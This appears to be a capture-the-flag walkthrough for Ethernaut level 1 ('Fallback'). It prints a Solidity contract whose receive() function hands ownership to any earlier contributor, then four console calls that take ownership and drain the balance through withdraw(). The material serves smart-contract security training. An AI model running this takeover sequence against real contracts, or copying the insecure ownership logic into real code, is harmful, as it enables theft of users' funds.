Ethernaut: 1. 폴백

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
    require(
      msg.sender == owner,
      "caller is not the owner"
    );
    _;
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

// (1) Contribute
await contract.contribute({value: "1"})

// (2) Fallback
await contract.sendTransaction({
  from: player, 
  value: "1", 
  data: undefined // for the fallback
})

// (3) Confirm ownership
await contract.owner()

// (4) Withdraw
await contract.withdraw()